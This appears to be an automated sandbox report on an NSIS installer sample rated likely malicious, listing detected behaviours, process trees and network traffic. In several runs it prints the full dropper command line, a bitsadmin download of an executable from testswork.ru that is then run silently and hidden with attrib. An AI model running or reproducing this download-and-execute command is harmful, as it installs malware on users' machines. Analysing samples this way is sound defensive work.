Analysis Overview
SHA256
fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581
Threat Level: Likely malicious
The file fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581 was found to be: Likely malicious.
Malicious Activity Summary
Download via BitsAdmin
Checks computer location settings
Hide Artifacts: Hidden Files and Directories
Enumerates physical storage devices
Unsigned PE
System Location Discovery: System Language Discovery
NSIS installer
Views/modifies file attributes
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-08 05:37
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral4
Detonation Overview
Submitted
2024-08-08 05:37
Reported
2024-08-08 05:40
Platform
win10v2004-20240802-en
Max time kernel
125s
Max time network
127s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3796 wrote to memory of 1040 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cscript.exe |
| PID 3796 wrote to memory of 1040 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cscript.exe |
| PID 1040 wrote to memory of 3716 | N/A | C:\Windows\System32\cscript.exe | C:\Windows\System32\cmd.exe |
| PID 1040 wrote to memory of 3716 | N/A | C:\Windows\System32\cscript.exe | C:\Windows\System32\cmd.exe |
| PID 3716 wrote to memory of 4720 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 3716 wrote to memory of 4720 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 3716 wrote to memory of 3600 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 3716 wrote to memory of 3600 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cscript.exe
"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cmd.exe
cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4448,i,1602949858158667699,12464335823361976127,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | testswork.ru | udp |
| US | 81.28.12.12:80 | testswork.ru | tcp |
| US | 81.28.12.12:443 | testswork.ru | tcp |
| US | 8.8.8.8:53 | 12.12.28.81.in-addr.arpa | udp |
| N/A | 10.127.0.1:12000 | tcp | |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
Files
Analysis: behavioral5
Detonation Overview
Submitted
2024-08-08 05:37
Reported
2024-08-08 05:40
Platform
win7-20240729-en
Max time kernel
17s
Max time network
76s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cscript.exe
"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cmd.exe
cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | testswork.ru | udp |
| US | 81.28.12.12:80 | testswork.ru | tcp |
| US | 81.28.12.12:443 | testswork.ru | tcp |
Files
Analysis: behavioral6
Detonation Overview
Submitted
2024-08-08 05:37
Reported
2024-08-08 05:40
Platform
win10v2004-20240802-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2440 wrote to memory of 3960 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cscript.exe |
| PID 2440 wrote to memory of 3960 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cscript.exe |
| PID 3960 wrote to memory of 4344 | N/A | C:\Windows\System32\cscript.exe | C:\Windows\System32\cmd.exe |
| PID 3960 wrote to memory of 4344 | N/A | C:\Windows\System32\cscript.exe | C:\Windows\System32\cmd.exe |
| PID 4344 wrote to memory of 2472 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 4344 wrote to memory of 2472 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 4344 wrote to memory of 4800 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 4344 wrote to memory of 4800 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cscript.exe
"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cmd.exe
cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | testswork.ru | udp |
| US | 81.28.12.12:80 | testswork.ru | tcp |
| US | 81.28.12.12:443 | testswork.ru | tcp |
| US | 8.8.8.8:53 | 12.12.28.81.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| NL | 52.111.243.29:443 | tcp | |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
Files
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-08 05:37
Reported
2024-08-08 05:40
Platform
win7-20240705-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe
"C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe"
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-08 05:37
Reported
2024-08-08 05:40
Platform
win10v2004-20240802-en
Max time kernel
93s
Max time network
150s
Command Line
Signatures
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe
"C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-08-08 05:37
Reported
2024-08-08 05:40
Platform
win7-20240708-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Hide Artifacts: Hidden Files and Directories
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cscript.exe
"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"
C:\Windows\System32\cmd.exe
cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe
C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | testswork.ru | udp |
| US | 81.28.12.12:80 | testswork.ru | tcp |
| US | 81.28.12.12:443 | testswork.ru | tcp |